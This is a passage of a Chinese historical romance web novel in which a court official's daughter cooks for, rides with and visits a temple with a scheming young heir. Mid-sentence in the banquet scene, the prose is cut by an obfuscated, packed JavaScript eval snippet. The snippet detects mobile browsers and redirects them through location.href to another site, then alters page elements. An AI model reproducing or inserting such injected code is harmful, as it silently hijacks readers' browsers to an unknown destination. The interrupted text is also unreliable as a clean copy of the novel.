“啊?”得知这个消息的阮南枝一愣,觉得有些突然,先前说好的上街逛逛、一同买首饰等约定,两人还未实现,她竟就要离开京城一段时日,“明微姐姐为何要去蓟县?” “家母祖籍是蓟县的,过段时日就到了一年一度的祭祖之日,不过我们已经来京城这边定居了好几代,因此按照规制,祭祖之日只需派遣一名返乡便好。” 说到这,明微执起帕子按了按自己殷红的嘴唇,蹙着额,语气微顿:“往年都是让家中兄长回去的,可不知为何,今年竟商定让我回去?” 此等需要远行的事务,家中父兄一般是不愿她辛苦跑一趟的,但此次爻卦占卜吉凶过后,得到个由她前往最为吉利的结果。 不知为何,她隐约觉得,这次祭祖之事落到她的头上,少不了那个坏心眼的表弟在背后推波助 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阮礼也想好好感谢江砚黎一番,毕竟是世子救了自己女儿一回使她免遭陷害,因此将这次宴请看得极为重视。 在官场上他也从未这样奉承过别人,可出于拳拳爱女之心,这次竟亲口吩咐府内仆从认真采买、精心布置。 而阮南枝想着,全然让府内厨子来操持,并不能体现出她对世子的感激之情,于是便自告奋勇地要亲自下厨,给他做一道梅花糕。 对于从未下过厨的贵女来说,哪怕只是做一道糕点,无疑是困难的。 单单是拌入绵饴糖揉作面团,就把阮南枝累的够呛。 辛辛苦苦弄好之后,又将面团填入铸铁梅花模子上,随手嵌入果料,文火慢烘片刻后,待糕体定型淋一勺桂浆,瞬间甜香四溢。 这整一个过程,不曾假他人之手,全数由她一个人在阮府厨子的指导下完成。 “小姐,你看,你的手都被烫红了……” 夜里,心疼万分的巧杏捧起那双娇嫩细滑的小手,纤细玉指温润,指腹多处已然红晕开来,在那莹彻白亮的肌肤上显得尤为明显,如同雪裹红梅一般。 一边小心翼翼地替阮南枝涂上烫伤药膏,一边忍不住絮絮叨叨:“您的肌肤如此娇弱,平日沐浴时哪怕水温高了一些都会浑身红透,现下竟还要亲自下厨,那模具温度高,您的手碰着了容易烫伤呀。” “没事没事。”阮南枝却不甚在意,摆了摆手,笑嘻嘻地安慰巧杏,“就是看着可怖罢了,我一点儿也不觉得疼。” 上完膏药后,她抱着衾被在床榻上滚了滚。 榻上枕承香腮,长发散落在床褥间,乌亮如瀑,添了几分慵懒娇柔。 两腮不觉间浮起了艳丽的薄绯,睡前的阮南枝总是忍不住东想西想,方才她盯着自己的双手,竟出神地想着,她为世子亲自做糕点的样子,倒真的有点洗手作羹汤那味儿了。 今日她将梅花糕做了两遍,每一遍都得到了自家厨子的夸奖,为的就是明日能为世子做出最完美的梅花糕。但阮南枝还是有点惴惴不安,生怕自家厨子的说辞,只是为了哄自己开心而已。 若是砚黎哥哥也喜欢,她的努力才不算白费。 9. 矛盾 然而就在约定好的宴请世子这日,阮礼突然收到了太子的传唤。 原定的宴请,阮礼并不能赴约,他只得嘱托好阮南枝好生招待好世子,便匆匆前往东宫拜见太子。 “微臣,参见太子殿下。” 座上的男子峻拔高贵,墨底的云锦袍衫上是栩栩的宝相花纹,玉带皂靴,衬的那瘦削的身形完美。 对于年少有为、做出了卓著政绩的太子殿下,阮礼打心底佩服,不敢多看,低下头去,恭恭敬敬地朝他行了一礼。 “阮少卿请起,不必多礼。”云景澈微微挑起唇角,命身旁的宫人替他倒上一杯茶。 安稳坐下议事堂之椅的阮礼,心中还在疑惑着,不知道此次太子殿下召见他前来,是所为何事。 太常少卿虽为京官,却不直接参与军政核心决策,况且他做事做官讲求问心无愧,他并不觉得,自己是在公事上犯了什么事,才会被太子殿下召见。 云景澈也在打量着阮礼,不为别的,只因为…… 眼前之人极大可能将要成为江砚黎的老丈人。 想到这里,矜贵淡漠的男人脸上露出了一抹玩味的神情。 没想到,江砚黎竟然真有了喜欢的女子。 平日里谦和有礼,待人总是含着三分笑意,可熟悉江砚黎的人就能知道,这人实则内心疏离,万事皆不入心,冷漠得泾渭分明。 难得他也会喜欢上别人? 这次召见阮礼,也是江砚黎让他这么做的。那人面不改色地说想和阮南枝独处,而且也不是该拜见老丈人的时候,所以拜托他传唤阮礼进宫。 当时听到这句话的云景澈差点没被一口茶呛死。 也正因如此,云景澈得以知晓,这些时日来,一直令江砚黎心思不宁的那个女子,便是阮礼之女,阮南枝。 怪不得那时他们商议正事的时候,对于阮礼之事,江砚黎变得得如此犹疑。 “听闻……阮少卿有一独女,品貌端方,不知令嫒今年芳龄几何?”状若无意般地提起,云景澈似笑非笑地望向他,语气温润如常。 没有想到太子殿下不问别的,开口便是提及家中小女,阮礼略微有些吃惊,迟疑了一瞬,恭谦回道: “回殿下,微臣确有一独女,如今年方十六,下月便将满十七了。” 然而太子的态度令人难以捉摸,只见他虽依旧目光平和,却意味不明地笑了笑。 随后,又淡淡地补了一句:“十七岁正是花信年华,这般品貌出众的姑娘,家中想必已为其留意良缘了吧?” 不明所以的阮礼心中一咯噔,太子这般询问……莫不是,看中了南枝吧? 宫中水深,向来波谲云诡、步步惊心,南枝性子本就柔弱温婉,又无半分心机城府,若是真入了这深宫之中,怕是不消多久便会被磋磨得连骨头都不剩。 阮礼素来疼惜这唯一的女儿,又怎舍得让她踏入这是非之地?他本就不是贪图权贵之人,从不奢求女儿能高嫁入何等显赫门第,只求她能觅得一位知冷知热的良人,一世安稳顺遂,平安喜乐地过完此生便好。 于是太子的这一问询,让阮礼不得不打起精神来,他仔细斟酌着措辞,既不失礼仪,又不得罪太子地婉言回绝:“多谢殿下垂询,小女性情内敛,婚事尚未有定论,况且她年纪尚小,微臣也不舍得让她过早嫁人,因而想着留在家里再教养一两年。” 觉察到话语中的抗拒推诿,云景澈知道他是误会了自己,挑了挑眉,却也没多说什么。 尚不论阮南枝是江砚黎心仪的女子,就单凭自己与明微的感情,他对旁的女子可没有半分心思。 不过这些事情没有必要对阮礼言明,他勾唇淡笑,话锋一转,提起了别的事情。 “阮少卿可知,《史记》中祁奚举贤一事?” “这是自然。”熟读典籍史册的阮礼再清楚不过,他点了点头,“祁奚外举不避仇,内举不避子,皆为晋国社稷。” 闻言,云景澈的眸子中稍稍浮现出了赞赏的意味,随后,带几分审视,他又开口问:“不错。若国之大事需有人挺身而出,哪怕暂损己身、舍却私愿,阮少卿以为,臣子当如何自处?” 躬身拱手后,阮礼的神色恭谨,目光坚定,无半分迟疑:“微臣自幼诵读经籍,深知天下兴亡,匹夫有责的道理。身为国之臣子,更当以社稷为重,君国为先。” “昔年子文三仕为令尹,无喜色;三已之,无愠色,皆因心怀楚国安危。若真遇国之大事,需臣暂损己身、舍却私愿,微臣必当效仿古人,以大局为先,万死不辞。” 字字掷地有声,既知道他有这般觉悟,云景澈也放下心来。 如此,阮礼还真适合做那个肃清旧党余孽的诱饵。 而另一边。 阮府内,听闻家仆来报,今日之客已到,阮南枝匆忙出来迎接。 从马车下来的男人,一袭暗纹锦袍与其挺拔身姿相得益彰,昳丽俊美无双的面容在见到少女的那一刻,立即消散了几分淡漠疏离之感。 “南枝。” “砚黎哥哥……”好一幅冠玉俊颜的清贵少年模样,阮南枝看了,只觉得自己心跳如鼓,面上也有些发烫。 今日的女孩,似乎精心打扮了一番,本就娇嫩的小脸,上了妆后眉眼更显盈盈动人,江砚黎不动声色地用自己的视线描摹着她姣丽精致的轮廓,面上一派温润地浅笑着。 “庭中已备妥酒馔,砚黎哥哥快请入内。”回过神来的阮南枝忙带着他入内。 “原先家父一心想当面谢过世子哥哥,只是方才太子殿下忽有传唤,他实在分身乏术,便再三叮嘱南枝,务必好好招待世子,万不可怠慢了您。” “如有什么招待不周的地方,还请砚黎哥哥不要见怪。” 巧笑倩兮的女孩调皮地吐了吐舌头,江砚黎故作不知道这事,敛去眼底的了然,神色无辜地回道:“这样吗?那真是可惜了。” “不过,能与南枝一起便很好了。” 这话说得暧昧又朦胧,可江砚黎看起来又是如此坦荡,波澜不惊。阮南枝的小心脏一紧,慌乱地低下头来,生怕是自己多心,误会了他的意思。 两人入座以后,阮南枝便迫不及待地让江砚黎尝尝。 案上青瓷盘盏错落,盛着江南特色的清雅菜式,在阮南枝期待的目光之下,江砚黎执起玉箸轻挑,尝了口,眼底漾开浅淡的笑意。 男人的动作从容不迫,尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815455|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是世家教养出的矜贵。待尝到那梅花糕时,他动作一顿。 只见女孩略显紧张地盯着他:“如何?” 看着她这个样子,江砚黎更加明白了些什么,缓缓勾起了那好看的唇角。 “这梅花糕做得雅致,甜润中带着一丝清冽梅韵……是我最喜欢的一道菜。” 听他这么说,阮南枝总算放下了原本惴惴不安的心,美眸变得亮晶晶的,神色间满是自得。 “砚黎哥哥,你没想到吧,这个梅花糕可是我亲手做的。”得了世子如此夸赞,女孩笑得弯成两弯月牙,鼻尖轻轻皱起,晃了晃脑脑袋,这样的举动颇为可爱。 果不其然。 但面上,男人十分配合,装作恍然大悟一般:“这是你亲手做的?” “原来,枝枝不仅聪慧灵动,就连手艺也如此精湛,实在令人惊喜。”并且不经意间,心机地将自己对她称呼叫得更亲密了些。 面子薄的阮南枝不由得害羞了,自己哪有他说的这般好呀…… 江砚黎说得坦荡恳切,仿佛在陈述一个再真切不过的事实,阮南枝听着,一点儿也不觉他轻浮,心里暖暖的,心底那些不确定悄悄褪去,取而代之的是满满的雀跃。 除了爹爹和巧杏这些亲近之人以外,少有人这么肯定她了。 女孩慌忙移开视线,桃腮浮霞,脖颈都泛起了薄红,这幅神情又娇憨又羞怯。 莹嫩的小手端起一盏酒杯,阮南枝强压下内心的悸动,一双潋潋美目就这么直勾勾盯着面前的男人。 “世子哥哥,先前的诸多照拂与援手,南枝在此谢过了。” 酒液沾湿唇瓣,将那抹柔润的粉唇浸得愈发透亮,江砚黎默不作声地盯着这一靡丽的场景,微微眯起了眼睛。本该是情绪不外露的他,此时目中溢满了危险的气息。 可惜正抬头饮酒的少女并未发觉,待她放下酒杯后,男人也恢复了往日的平静。 “不必如此客气。”他漫不经心地笑了笑,同样端起酒杯一饮而尽。 待到两人用完膳后,阮南枝并没有忘记先前江砚黎想要寻求孤本一事,连忙让婢女将那准备好的孤本交给他。 “谢谢。” 少年温润疏朗的面容始终挂着浅淡绵长的笑意,她眨了眨眼,娇俏可爱地似嗔非嗔道:“明明是世子哥哥说的不必如此客气,怎么却和我道谢起来了?无足挂齿的小事一桩罢了,若是日后还有什么帮得上忙的地方,尽管说就是了。” 闻言江砚黎忽而低笑出声,俊朗眉眼漫开融融柔色,他素来少这般无谓畅怀,透着藏不住的愉悦。 “好。” 这场雅宴,阮南枝心里始终揣着一份复杂的感情,一半是化不开的欢喜,一半是藏不住的怅然。 欢喜的是,和江砚黎在一起的每一刻,都十分愉悦,让她忍不住沉溺在这份安稳的舒服里。 可这份欢喜又总能被难过悄悄冲淡。自己非常清楚,江砚黎的温柔不是专属,他对她的好,不过是他待人接物的常态。 她甚至会忍不住想,连对不算至亲至近的自己都能这般体贴,他对旁人,想必只会更温柔、更周到。 于是少女便陷入了这般又开心又难过的矛盾。 10. 同乘 天空的淡青之中掺着乳白,远山隐在的云气里,只露半截黛色轮廓。 不知何时,天上开始淅淅沥沥地下起了小雨。 甫一掀开车帘,便有另一只手轻轻握住了那只赛雪欺霜的手儿,阻止了它挑开帘子的动作。 “小姐,小心雨水飘进马车来了,仔细别着凉,染了风寒。” 虽只一眼,阮南枝还是瞧见了窗外的场景,霡霂细雨绵绵,估摸着不多时,就要变成滂沱大雨。 不出所料,伴随着一声惊天动地的闷雷声,雨势霎时急转变大,瓢泼而下。 她不由得蹙起了如烟似柳的蛾眉。 自从上次宴请江砚黎过后,阮南枝的生活又回到了以往平静无波的状态。加之明微也回了蓟县,她在京中并无其他朋友,每日只能在家中随意读些书籍、作画抚琴聊以自慰。 春日一向气温多变,近来忽冷忽热的天气让阮礼不幸中招。病来如山倒,原是健硕魁梧的父亲,得了风寒之后也只能病怏怏地躺在床上,咳嗽不断。 阮南枝看在眼里,疼在心里,唤了经验丰富的大夫来替父亲问诊,她也日日按时替父亲煎药、看着他用药服药,好几日之后,终是有了好转。 经此一事,忧心父亲身体健康的阮南枝,打算前往普济寺,亲自为父亲祈福。 只是似乎今日天公不作美,行在不算平整的道路上,本就坎坷,这突如其来的倾盆大雨,更是为前往普济寺的路途增添了不少困难。 正当她想得出神之时,不知遭遇了什么,车身突然一阵剧烈的摇晃,随即,本来缓缓前进的马车不得不停了下来。 “发生了什么?” 巧杏应声出去查看,眼瞧着那泥泞不堪的车轮子陷入了一块因暴雨冲刷而变得松软塌陷的淤泥地之中,无论怎么样鞭策马匹,也再难以前行。 愁眉苦脸的巧杏将这一情况如实告知给马车上的阮南枝听,闻言,本就心情阴沉沉的女孩这下内心更是和这暴雨一般沉重了。 “小姐,这马车怕是一时半会之间出不了淤泥地。”巧杏哭着一张脸,焦急得如同热锅上的蚂蚁,“怎么办呀?况且这一路上人迹稀少,咱们也很难寻到旁人的帮助。” 一声哀婉的叹息,阮南枝的眉峰拧成小结,满心愁绪似浸了水的棉絮,让她的心无法言明的闷闷不乐。 “马车陷在洼里,你且同我先撑伞下去,咱们去前面的亭子,好让车夫专心把车轮弄出来,这样能快些解决。” 也只能这样了,巧杏无奈地照做,撑开那把堪堪只容得下两人的油纸伞。 可雨势滂沱,纵使前边的亭子与这处洼地离得不远,但这么一把小伞,显然是不够用的。两人小心翼翼地缓步移到亭子,裙摆已然尽湿。 湿哒哒的衣服和黏腻湿漉的头发一直紧贴着她的肌肤,实在不怎么好受。 阮南枝本以为自己要这么强撑到自家的马车修好,却在没一会儿的时候,看到了另外一辆朱轮华毂的马车停在了这处亭子前。 亭下的美人柔婉玉立在那儿,疏雨沾湿了她的半边发,鬓边碎发湿漉漉贴在桃颊两侧,衣料吸了雨气,泛着淡淡的水光。 江砚黎刚从马车上下来,便看到了这样一副光景。 “咦?世子您真是料事如神啊,咱们来得正好,看起来,阮小姐正受困于此呢。”随着他一同下了马车的乌恪同样也看见了亭子里的主仆二人,感慨于自己主子的先见之明,不由得随口感叹了一句。 听到这句话的男人不说话,不咸不淡地扫了一眼过去,那冷淡如霜的眼神警告意味满满。 乌恪立即心领神会,世子这是不想在阮小姐目前暴露前行的意图,而想装作一个巧合。 于是他老老实实地闭上了自己的嘴巴,以免待会儿不小心在她们面前露馅。 “世子哥哥?” 看到了俊逸秀美的来人逆光走来,阮南枝愣愣地站在原地,不禁有些晃了神。 “怎么了?” 行至她身旁,江砚黎不徐不疾地收了伞,关切的目光落到女孩玉润柔和的脸蛋上,眸子一暗。 “砚黎哥哥,你怎么也在这儿?” 说不出现在的心情究竟是喜出望外还是不愿见到他,总是被江砚黎撞见自己最狼狈的样子,怀揣着不一般情感的青春少女,难免变得有些难堪。 顶着一张萎靡不振的小脸,她支吾着开口:“今日本想去普济寺为一趟的,哪曾想半路下起了暴雨,马车也因此陷入了泥地,我只好在此处暂候……” “原来是这样。” 男人闻言微微颔首,薄唇噙着一丝若有似无的笑意,下一秒,他那修长骨节分明的手,手心朝上地朝她伸去。 “我今日本是受太子殿下所托,往普济寺为他求一支签,没想到行至半路竟遇着了你。” “这雨势汹汹,一时半刻难止……如若枝枝不嫌弃,便先乘我的马车,与我同往如何?” 这? 看着他那伸出的手,阮南枝心里如遭雷击一般,大为震惊,搭上去也不是,不理睬也不是,心里忍不住犯嘀咕。 知道他人好,但江砚黎怎能如此随意地就朝她伸出手,若是她将手放了上去,两人不就相当于牵手了吗? 难道,他平日里对别的女子也这般亲密? 这叫她怎么办才好呀! 阮南枝内心五味杂陈,又酸又羞,怯生生地抬眼看了一眼江砚黎,他面上看起来十分自然坦荡,似乎并没有什么别的意思,只是单纯地出于礼节想将她扶上马车。 倒显得像是自己自作多情了…… 一旁的巧杏也看得目瞪口呆,可世子的神情自若,她不过是犹豫了片刻没有第一时间出声阻拦,小姐便已经将自己的柔荑搭了上去。 两人手指相触碰的那一刹那,江砚黎喉结微动,几不可见地眯起一点深邃的桃花眼,女孩娇软诱人的肌肤更加滋生了他的躁动。 面上依旧彬彬有礼,他淡笑了一下,一手撑起伞,一手轻轻牵引 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可阮南枝还是忍不住捂着脑袋呜咽娇吟了一声,女孩诱人的体香混合着男人清冽的气息,江砚黎明显呼吸一乱,一对墨眸更深沉了些。 此时阮南枝一身湿乱,原本不湿的地方经过这一阵乱动也沾上了些许水渍,导致大部分衣物都湿贴在雪白娇嫩的肌肤上,窈窕有致的曲线就这样掌在男人手中,大掌触碰的地方登时多了一股诡异燥热。 她惊得下意识推开江砚黎,红着脸好一阵咳嗽:“抱、抱歉!” 面若春桃的少女两腮绯红,低头咬着下唇尴尬不语,微湿的鬓发贴在两旁,显得格外妩媚娇婉,像只误入樊笼毫无抵抗之力的小兔子。 江砚黎哑然,半晌,饶有兴致地勾起了唇角。 “没事。” 继而,男人伸出手,慢条斯理地解下了自己的黑色大氅,不明所以的阮南枝一脸惊恐地看着他,像是不明白为何面前之人二话不说地就开始宽衣?! 想象中逾矩的举动并未出现,那件黑色大氅稳稳地落到了她的肩上,江砚黎只是替她拢了拢,露出一个淡淡的微笑,全程再也没有什么肢体接触。 因着常年习武的缘故,男人的身躯本就健挺伟岸,所穿着的大氅自然也是十分宽绰。宽大袍服将女孩裹得严严实实,更显得她的身躯纤细娇小了。 “方才淋了点雨,小心着凉,这大氅你暂且披着吧,也好暖些身子。” 衣服上还残存他炽热的体温,又或许是那些关切又雅正的话语,总之此刻阮南枝的心里涌上了一股暖意。 “谢谢砚黎哥哥。”女孩软糯含糊地低声说道。 随后悄悄将那张精致秀丽的小脸,往宽大的衣氅里埋得更深了些,耳尖的绯红也都藏进了暖软的布料中,卷翘的长睫颤抖着,掩不去眼底的羞赧。 江砚黎的气息是那样好闻,不知为何,竟觉得格外安心,她的心脏像揣了只乱撞的小鹿,咚咚咚地跳得愈发急促…… 11. 普济寺 抵达了普济寺后,雨声也已停歇。 江砚黎率先下了马车,阮南枝正想跟在他的后面一起下车,但在地面站定的男人已经定定地朝她伸出了手。 “小心。” “嗯……”先前已有了十指相触的经历,这次阮南枝只迟疑了一瞬,便微微红着脸扶了上去。 虽是身份贵胄的上位者,可江砚黎在做这些本该下人做的事情的时候,却格外自然妥帖,举手投足之间仍旧是那股风流清贵的感觉。 将女孩安稳引至地面之后,他便很快松开了手,一副恪守礼义绝不僭越的模样。 “走吧。” 但阮南枝的脚步顿了顿,她睁着一双水润润的美眸,歪了歪脑袋疑惑发问:“巧杏她们……还没到么?” 她想等等巧杏的。 闻言,男人只是微不可察地轻轻一笑。 他不会和阮南枝说,巧杏所在的那辆马车车夫得了他的命令,会驶得比他们慢许多。 为的就是,他和她的独处。 “不必担心,那辆马车只是驶得慢了些,他们很快便能赶上来,我们先走吧。” 听到江砚黎这么一说,阮南枝点了点头应着,先前压下的紧张感再度浮现,一想到即将和世子哥哥近距离相处,心跳不由得快了几分。 远处肃穆的钟声荡开,两人一前一后地走上石阶,一高一低的两道身影看起来竟格外的和谐。 方一踏入寺门,看起来等待已久的住持便迎了上来,显然认得江砚黎是何身份,恭恭敬敬地朝他鞠了一躬。 “江世子,里边请。” 尊贵的世子身旁跟着的那个娇艳少女,住持同样不敢多看,刚才不经意间余光扫过,竟看见她身上披着显然是男人的宽大衣氅,心中不敢多忖度两人的关系,匆匆低下了头。 江砚黎略微颔首,面上一片端方雅正:“不劳烦师傅引路了,我们自己来便好。” 话音甫落,男人的目光投向了旁边的阮南枝,她心领神会,乖巧听话地跟着进了寺里。 进了殿门,香火更盛,庄重严肃的大佛像矗立在宝殿正中央。 净手焚香过后,阮南枝接过了江砚黎递来的三支清香,在烛火上引燃,随后,对着佛像深深躬身。 青烟顺着香,袅袅升起。 “菩萨,求您保佑我爹爹阮礼平安健康。” 阮南枝在心中轻声默念。 许完愿后,她缓缓跪下,额头轻触蒲团,三叩之后久久未起。 香烟缭绕中,女孩闭上眼,将所有祈愿与期盼都寄托其中。 阳光透过殿宇的窗棂,落在她虔诚的侧脸上,江砚黎静静伫立在一旁,将她那认真真挚的神情一览无余。 拜别佛像,阮南枝没忘了世子此行的目的是想来替太子求签的,于是对他说:“砚黎哥哥,我们现在就去替太子求签吧。” “嗯。”男人散漫地应了一声,慢悠悠地走在她的身后,视线一直紧紧追随着前面的女子。 觉察到他好像在一瞬不瞬地盯着自己,阮南枝回过头来,目光对上了那沉沉炙热的眸子,眸中溢动的光芒温柔而又显得危险极了,她仓皇得一时竟不知该作何反应。 “咳咳咳……”心乱如麻的女孩咽了咽口水却不小心呛到了,只好略显狼狈地拍拍自己的胸脯,强行安定下来。 明明是他在盯着她,为何他被发现了仍旧气定神闲,反倒是自己变得如此慌乱? “那个……砚黎哥哥,太子殿下让你帮他求什么签呢?”为了转移话题,阮南枝轻咳一声,俏皮娇靥露出好奇的神情,问道。 “求姻缘签。” 淡淡的嗓音吐出这几个字,惊得阮南枝咳得更厉害了:“咳咳咳……!” 而江砚黎则淡定地轻轻拍了拍女孩的后背,心里觉得好笑:“别激动。” “姻缘签?”备受惊吓的阮南枝瞪大了她那水灵灵的潋滟杏眸,一脸不敢置信。 因为在她看来,太子的身份何等尊崇,身为帝王嫡子、未来的九五之尊,是真正含着金汤匙出生的天潢贵胄,身边环绕的皆是顶尖的世家贵女,婚姻大事向来由皇室钦定,且关乎朝堂格局。 哪里需要像民间儿女那般去寺庙里求一支姻缘签,来窥探自己的情爱归宿? 可转念一想,明微姐姐和她说过,太子与她两人青梅竹马,情投意合。 噢,如果是明微姐姐的话,倒也说得通了。毕竟在阮南枝的心中,明微这般品貌、才情与心肠皆为上品的女子,可是举世第一好的女子,放眼天下,也再难寻到第二人。 思绪又飘到了那日与她推心置腹,为情所困的明微满腔愁绪、患得患失的模样,让阮南枝心中猛地被揪住一般。 思及此,女孩不禁讷讷开口:“说起来,我还没见过太子殿下,殿下他……是一个怎么样的人呢?” 江砚黎将她的询问听得很清楚,一双墨黑色的眼睛深深的凝视着她的面颊。 她打探太子做什么? 面无表情的男人,此时心情不怎么愉快,随即扬起了一个没有什么温度的笑容。 “太子么?殿下天赋异禀,文可安邦,于治国方略、经史子集无一不精,能明辨是非。” 他皮笑肉不笑地开口,渗透的冷意让声线变得深沉不可测,不过可惜,沉浸于打探太子信息的阮南枝并未发觉出面前男人的不爽。 “但……” 说完前面这串夸赞,又一个突如其来的转折,足足勾起了阮南枝的好奇心,她心急如焚,迫不及待地开口追问:“但是什么?” “但论及感情之事,殿下素来朝三暮四、见异思迁,身边从不缺莺莺燕燕,难定归处……”一边胡诌着,说起谎来脸不红心不跳的江砚黎还颇为遗憾地摇了摇头,“常人只会觉得他身为储君,往后后宫妃嫔自然少不了,这般行径也无可厚非。枝枝若心悦于殿下,将来怕是少不了要吃苦头。” “枝枝想了解太子殿下,该不会是……真的心悦于他吧?” 说完,男人敛了笑意,墨眸沉沉,定定锁着她,似深潭般洞彻。 “怎么可能!”阮南枝被惊得瞳孔一缩,她瞪着大大的眼睛,非常不理解他为何会问出这个问题,“我都没见过太子殿下,怎么可能心悦于他!” “枝枝不过随口问问,要是砚黎哥哥不愿意答就罢了,又何必说这些胡话逗弄我呢?” 若说心悦……那也只可 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“砚黎哥哥,你为何笑了?”同样好奇于明微姐姐姻缘的阮南枝,也想知道太子殿下的签文如何,眼底漾开一丝不易察觉的期许。 “上吉签。” 他淡淡勾唇道。 得知这个结果,她松了一口气,紧接着,却听到身旁的男人说:“枝枝也来求一支吧。” “我吗?” 闻言阮南枝愣了一下,对于婚姻之事,她先前总觉得离自己还太过遥远,而她也不想过早离开父亲…… 可如今,望着江砚黎近在咫尺的身影,往日里无波的心湖骤然掀起涟漪,悸动如藤蔓疯长,蔓延至四肢百骸。 心中多了桩牵挂的她也有点想知晓,普度众生的菩萨是否早已看穿她藏在心底的这点女儿家心事?又或是,借由菩萨的指引,可以让她对这份小心翼翼的情愫,多几分笃定? 阮南枝深吸一口气,双手捧起签筒,闭目默念,只恨不得这签能懂她心思,赐一支良缘顺遂的上上签。 手腕轻轻晃动,竹签碰撞声清脆,一支竹签应声落地。 她下意识地弯腰去捡,刚触到冰凉的竹签,就撞上了另一个人温热的手指。 相触来得猝不及防,一股暖意顺着指尖窜遍全身,阮南枝猛地缩回手,雪颊顿时生绯。 抬眸时,江砚黎也在看她,眼底浮起浅浅的笑意,似是察觉到她的窘迫,他先拾起了那支签:“看看你的签文,可还合心意?” 拾起竹签后,他对照签文沉吟片刻,而后缓缓开口。 “凤凰于飞,翙翙其羽,佳偶天成,岁岁相依。” “此为上上签,主姻缘天定,两心相契,可共赴白首之约,乃天作之合的吉兆。” 听后,阮南枝只觉脑袋“嗡”的一声,心跳霎时漏了半拍,反复想着签文所说的什么“佳偶天成”、“两心相契”以及“天作之合”这几个词,内心久久不能平静。 这签文竟这般直白,附上了最吉祥的期许。女孩怔怔望着签文,甜意顺着心口往上涌,过于惊喜,她反倒不知该作何反应才是。 字句相映,难道说,这真的是上天特意为他们两人写下的注解? 12. 觉察 阮南枝定了定心神,姣丽明艳的小脸凑了过去,言笑晏晏地对身旁的男子说:“世子哥哥,你也来求一个签吧。” “不了。” 江砚黎只是唇角微扬,噙着一抹淡笑摇了摇头,说得不疾不徐。 未曾对阮南枝言明的是,他向来对神佛之说持有尊敬之心却不尽信,比起寻求菩萨的庇护,他更习惯将所有事情掌握在自己手中。 不管是姻缘,或是其他的什么事,想要的东西,此前一直皆靠自己去争取。 包括阮南枝,他也运筹帷幄,势在必得。 “若是……日后遇了什么难事,神明牵挂者众、无暇分身,没法即刻庇护你,尽管来找我便是。” 一想到皇上已经下发的暗令,阮家即将遭遇的劫难,江砚黎微微皱起了眉头,终是忍不住这般出言提醒。 这一句突如其来又意味深长的话语,让阮南枝一时之间有些摸不着头脑,她莫名其妙地看了他一眼,乌黑湿亮的眸子中满是疑惑。 只当世子哥哥是心肠好,随口给了句安慰,于是女孩笑眯眯地点了点头,甜甜地应了声“好”。 随后,两人一同离开了求签之处。 正当他们走出这处地方之时,巧杏和乌恪也恰好来到了普济寺,瞧见了自家小姐的身影后,巧杏立刻脚步匆匆地迎了上去。 “小姐!” 不远处粉面含春的袅娜少女,肩上严严实实披着一件黑色的大氅,这件面料上乘华贵的大氅,巧杏方才明明瞧着是世子穿着的。 又怎会到了她家小姐的身上? 巧杏欲言又止,想要说出的字句,在看到小姐旁边那个带着几分漫不经心的男人时,硬生生止住了话头。 那俊美昳丽的面庞在嘴角处勾起了半分弧度,好看的眼尾斜斜上挑,眼底却无半分笑意,裹挟着无形的冷厉压迫。 不知为何,她总觉得,世子接近她家小姐是别有用意,有意而为之。 而阮南枝浑然未觉,只见巧杏盯着自己的衣裳许久,她弯了弯眉眼,嬉笑着解释道:“方才淋了些雨,世子怕我着凉,好心将他的衣氅借与我穿。” 这样的说辞倒也合情合理,只是……巧杏有些纳闷,江世子终究是外男,纵是他品行再好,衣氅这般贴身之物,沾染着男子的气息,又怎能随意给未婚闺阁小姐穿戴? 小姐天性纯良烂漫,对于男女大防之事尚未开窍,可世子怎么会不知晓这些礼节呢。巧杏作为她的贴身婢女,与她自幼一同长大,情同姐妹,关乎闺誉的分寸之事,自当替她多番提点着些。 还想说些什么,阮南枝却已经亲昵地挽上了她的手臂,嫣红的樱唇还一边不断嘟囔着。 “巧杏,我已经替爹爹祈了福,你也前去主殿焚香祷告,许个心愿吧。待你礼毕,咱们便回府去。” 巧杏摇了摇头,她此次前来普济寺就是为了陪同小姐,自己并无什么急事需要求菩萨保佑。 既如此,那便该返程了。 告别了住持后,几人出了寺庙门,江砚黎好人做到底,让自己车夫将阮南枝送回阮府。 不过回去的这一段路途,实在不便与她同乘。男人的眸子暗了下来,面上依旧神情平静地对阮南枝道别,清朗低醇的听起来格外诱人。 “你们主仆二人且乘我的马车回阮府吧,这件衣氅你带回去就是,千万不要染了风寒,也无需再归还于我。” 那温柔体贴的话语落到女孩的耳中,她眼波流转,些许恋恋不舍溢于那双缱绻清眸中,而后略显哀伤地垂下了眼睫,语气软糯黏腻: “嗯……那,砚黎哥哥,改日再见。” “改日再见。” 面前的男人比她高了许多,此时低头含笑看着她,面庞的俊秀之气妖冶得不成样子,勾人心魄。 心思浅面子薄的阮南枝根本受不住,匆匆扭过头去移开视线,生怕自己那点少女心思就要暴露在这阳光之下,叫别人看穿了去。 上了世子马车的巧杏,在第一时间看到内里富丽精致的装潢后,差点惊呼出声。 布置得如此妥帖,乘坐起来舒适至极,阮家出身苏州,江南一地历来富庶,阮府亦算得上家底丰厚,可她们府中的马车,竟无一辆及得上这般舒心惬意。 一旁的阮南枝托着腮,水眸微阖,一副怔怔出神的懵懂模样,巧杏见了,思绪也被牵引回女孩这儿,她关切地低声开口询问:“小姐可是有些乏了?” “嗯,是有些。” 来的时候淋了雨,本就容易疲倦,普济寺还在山中,光是走上去又走下来,足以把她折腾得疲倦乏力。 阮南枝仰起莹白细腻脸儿,她可没忘了,现在还是在江砚黎的马车上,虽然这马车宽大得睡下两人都绰绰有余,但在别人的马车上瞌睡,总归还是不太礼貌。 因此,她揉了揉自己的眼睛,强打起精神来。 见状,巧杏犹豫了片刻,欲找个话头转移注意力,让小姐不至于因无聊而昏昏欲睡。 “小姐,奴婢有句话不知当讲不当讲。” “你说。” 巧杏咬了咬唇,蹙起眉头,凑到她的耳畔,压低了声音说:“奴婢觉得,江世子对您有意思。” “什么?!” 